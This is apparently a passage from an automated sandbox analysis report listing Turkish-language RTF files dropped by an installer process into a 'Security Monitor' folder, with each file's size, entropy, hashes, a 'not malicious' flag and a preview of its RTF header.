Category:	dropped
Size (bytes):	35217
Entropy (8bit):	5.100503141917066
Encrypted:	false
SSDEEP:	384:ZFRfkkIOxdWvXLV2NakmumYjucj+jaUysUredZjFjDfA7Leo75Y3k37pHYfjioJW:ZFRfAumYicq2BlMZB/A7yZo7IJJW
MD5:	1456CC4187B4C904B65403612F948F8D
SHA1:	D8636D6B2B0EDCB47001AD5D107643D66C4A0623
SHA-256:	FE38EEF744F8B1E2D385BDB4487C795BBF4B74E6C4EF2B61201E4276C04F941E
SHA-512:	CA7E563B3552F12DB33F6AAC2946AB7DC1AD83EA1726529A42C06F236AAEB896169FF4AFBC990AFC12473498C07584C3CA18B148F0184FB295C2DACA2482187B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-C3L0A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42048
Entropy (8bit):	5.112920780203348
Encrypted:	false
SSDEEP:	768:TLyrsEue7ccoHUVQtqpBMV8SLpmo+6Xl5m/z3OgwXG6Ie:THEr3OgwXG6Ie
MD5:	FEC5348E8803947C2A90184FABCDCF6B
SHA1:	2D43C953E0DF8C80BAE2FE19792A1A0E1CDD33A5
SHA-256:	EB1C7F1EA6A62EC39DE6528B68F112EDB8E137106627A706DAC5F5E73EF4B785
SHA-512:	435FD2FCB064017FB68BEE751B1DCABB134867B8E27312D25589B10C87EDC68D74F52EDE56039A1E0395CEF9568DC72AA223B9EAAFA3AF09A079F9AB1C29A4D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f41\fbidi \fswiss\fcharset162\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-E3876.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42485
Entropy (8bit):	5.10644966338614
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseR6NnE0/z3OgwXG6Iq:TL423OgwXG6Iq
MD5:	2F22B5B2B29308EFA8F83A2A7756F134
SHA1:	5AA36D0592B3A10518F28AFA7C65D338FD29B64E
SHA-256:	F19658BABB054B874513345E81C3F3294FABF41C2F1A35B245510E307F782A5C
SHA-512:	34902F5B360C5DA92E49B7C22D18250D504CF3186F229FADE902AFE617B3B13D47D0E8CB11B2423F8A1DA487B1140D96DCCB22613EE16D3ACB9BFB5DD72F1071
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-FG2VS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45843
Entropy (8bit):	5.099884587726615
Encrypted:	false
SSDEEP:	768:XFRfvKmGHTwjjJ6jNBmuIV3brtE/TnFkUpv0jxZGcAK0njUZXZo7IJJY:XHCMHJ2
MD5:	FE6B9C7CF4F0B6627DEB585E904CDBEB
SHA1:	552B91CE134693F121234EB5E3CA538C60449B7A
SHA-256:	74FDB6A5CAB4DAF2D175C831124D75631EBD1247BF1C09F43BA8CDA3B4241B56
SHA-512:	ABE4C5B9A2B1F074A4D9A470AE2173282DFCDE63382CCC7311DF3822698CDB4A7F02B98D85AAF3DFFBC0E97F734E026D5F97438858AB5BC76821F4CD8D2D22E5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-IMAT0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43496
Entropy (8bit):	5.1077571102439245
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRIMXyTsx/z3OgwXG6I2:TL4P3OgwXG6I2
MD5:	FDD5D42614DC8C5255D6808F5FB9E756
SHA1:	462F1BE33F4DE680C46F27A2732136F2A96EFB29
SHA-256:	1615765F4CC8649F16975820F90F5FA6117F28CD97771021C8C8449B169B6DF7
SHA-512:	46CD50DDBE274A62EC6E9D8650A71C16D4B213E56700CDB5FDE6BB880CC2096BD21934BADD8B27076313E9F57DAE468F431674B7D55D65C59C4B0DEA6922307B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-JK8CM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37709
Entropy (8bit):	5.097982097595037
Encrypted:	false
SSDEEP:	384:0LMrCVmd0XKvpXnKnfmuh4jc0IXjFkjWrjfjOjWj3Q1/i6rGsqFwhR/MizFZKeBt:0LMrHuh4puRkAzKqLQ1l/zdUIpeabvr
MD5:	B6940DC6E8FD337224A965573CCC6C96
SHA1:	07F590E24341EA99AD71840F0ACE09FE7BDFD3D3
SHA-256:	D6B44A01370E7516DE60CB797FB79D01BFD0A1734FA8EF227B7537A7676C29AE
SHA-512:	CD3BC33236797086019006FFB4CFE5DDD3F796A1966A008832DDE0EC10DB6082D3ACAA2EFE5487EC419B89BA9A39B2B96309C639A4F3EA0F22FD505F4417A9D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-K8S8R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56877
Entropy (8bit):	5.08048638360949
Encrypted:	false
SSDEEP:	768:XFRf9q5GHTwjjJ6jNBmuIV3brtE/TnFkUpvMT1u55U4hU8Gs2PsYyCGsDt/8pA1T:XV/wT1QgfTHJ3
MD5:	300A9C30F7C747136B0481B5765852E8
SHA1:	A7DFA3454EDA5842B17AC27684B359EFBE68DF52
SHA-256:	878EFDAD351F09C39DE3B711B25265E029847775500FE0C407D87898BD270158
SHA-512:	9B989F4C7A3983F869C3F4FA694FF0B27661C4A88853684D84531ED12B317EE3172C1D9E0A100FBD6413ABE97FE50F6DB71A8DC3BF27F3716476830EC76683BC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-LPHVO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41095
Entropy (8bit):	5.105004070141461
Encrypted:	false
SSDEEP:	768:0LMrbpuh4puRkAzKqCV9mdecy46Xo/zdUIpeabve:08pxnmdq46IdUIpeabve
MD5:	90E7A977D4DF30B041F323B8039EC7CF
SHA1:	792587C64C654021CEBEC446E6DDB08A49D1B2DA
SHA-256:	F7E70A032DFF7371ADB12C85526C4A5F75F8B4C381EAC028873B8DB8AC0F77B3
SHA-512:	E35BB3A910EB4D5CB2249E3833A02C41153EB88B02C5FC949B4FFE7C0F6CF436F2BEB977670FF1155F89774C2499C15453A468D3A094DF6370C02C0954E291A1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-LQH6B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41048
Entropy (8bit):	5.100342903202798
Encrypted:	false
SSDEEP:	768:XFRfQuekVh+DiDhZ6jN3muIV3brtEeLUsQZZ6jNS23FmsZo7I1Jj:XYz0CyH1V
MD5:	830A25F0F0DD4201CEDCE5A71290F52B
SHA1:	7E8035CB05D3883857F729AD02FC772425DE859E
SHA-256:	02A019309A83F3E82D5231C7E1861F7A54FFDF8C55C0357DC8335E56D89A8806
SHA-512:	5F25190BE2A3C305113595C9517DC4CBDB7D6D6DE35B514C1E6F15AEC3BEDA831F6A600D5876262D93B93A40245A1599D0BFA5CAA37F94937C30E6B4ECB52EF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-MJ2IR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43858
Entropy (8bit):	5.1066210164319585
Encrypted:	false
SSDEEP:	768:TLmrs4sw9FmdVFroAWBmho4cnTseR4Jv6YfpgC/z3OgwXG6I7:TL4w3OgwXG6I7
MD5:	47A87D6CE96B1DCA2C609A778373485D
SHA1:	15823BE17A06C6C57EBAF6D0E55F56EBF0EFE98F
SHA-256:	9276B70DE54E2675E72A84AE277563D4518A0DC56565379378A7CC3B10488697
SHA-512:	D717567ED8C4A25270312E31F2481241A9B164B8A04D19C68A1BF3F9BD8890F99C3A0F4A76AFD6A4A24208F1BE16D9F10FCEEB36099828FCD3F35AC8E92C498E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-MOAPH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	45800
Entropy (8bit):	5.097060523282222
Encrypted:	false
SSDEEP:	768:0LMrb5Ke8ctMRcPMRC90OmDcPMRC90Okj+yXpcrb+/z3OgwXG6IN:085ERZau3OgwXG6IN
MD5:	BF226FC63E045046722D8F7D54D3CD48
SHA1:	6134D8D56E0E9FADBCB931CD091513E69A766D33
SHA-256:	1BC9F58D4EC025B08FF100A71397F11FDE77AFF49271545A7C91ABCECB95BD39
SHA-512:	EAA01E5017FE5E9EB5C383C708F0229AFFE70E465D7460BDA475117BD56B12DC52669D59DFEADD28EB8B82696ECB48BF8F0F6BF13422D733FBD98EDD54E7A10B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-MPKJU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66624
Entropy (8bit):	5.059280595618483
Encrypted:	false
SSDEEP:	768:ZFRfhqedVWGV79ka9aTwjjJ6jNxLUsQZZ6jNcLUsQZZ6jNdLUsQZZ6jNZLUsQZZB:ZJw+PLTJYsdhYX
MD5:	6D34D466F1C68F15A6CC32AAE4E3E2D1
SHA1:	3F4DCE2646758CEF37887EBE9772970420FF6C2E
SHA-256:	92A2850CEC25C5578A53179E385BA1C32C3F41AAAEF0EC653FCCA133DA2DB5A7
SHA-512:	B67C4678925D41CAAC364BF4C75F1F407AEC91915121EA6BE3AF0794C63001330BC775F06BFB1E9F49B42494AA856A6C0D66D6114D9D0CA9F0B53DABF77A9E8E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-N043V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41746
Entropy (8bit):	5.1082830705303195
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRnomp/z3OgwXG6Ik:TL433OgwXG6Ik
MD5:	66827CCAAE125825B1E69A77C2F3C184
SHA1:	AF5BE3BBE593D4327EA77157EE4780A185C50710
SHA-256:	6444F8ADA3675836844F7320C0F588572EE3D7C890A4DD5E8132CB17DC7FCBAA
SHA-512:	526058E0E367398C4E3295DA8B0F07118A1DF628DE4CBEDE276516E1FB045A33B2757768AE3713833F24A23E49667BC33BA43679844B0E68A9843CE390416984
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42048
Entropy (8bit):	5.112920780203348
Encrypted:	false
SSDEEP:	768:TLyrsEue7ccoHUVQtqpBMV8SLpmo+6Xl5m/z3OgwXG6Ie:THEr3OgwXG6Ie
MD5:	FEC5348E8803947C2A90184FABCDCF6B
SHA1:	2D43C953E0DF8C80BAE2FE19792A1A0E1CDD33A5
SHA-256:	EB1C7F1EA6A62EC39DE6528B68F112EDB8E137106627A706DAC5F5E73EF4B785
SHA-512:	435FD2FCB064017FB68BEE751B1DCABB134867B8E27312D25589B10C87EDC68D74F52EDE56039A1E0395CEF9568DC72AA223B9EAAFA3AF09A079F9AB1C29A4D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f41\fbidi \fswiss\fcharset162\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\logging.rtf (copy)

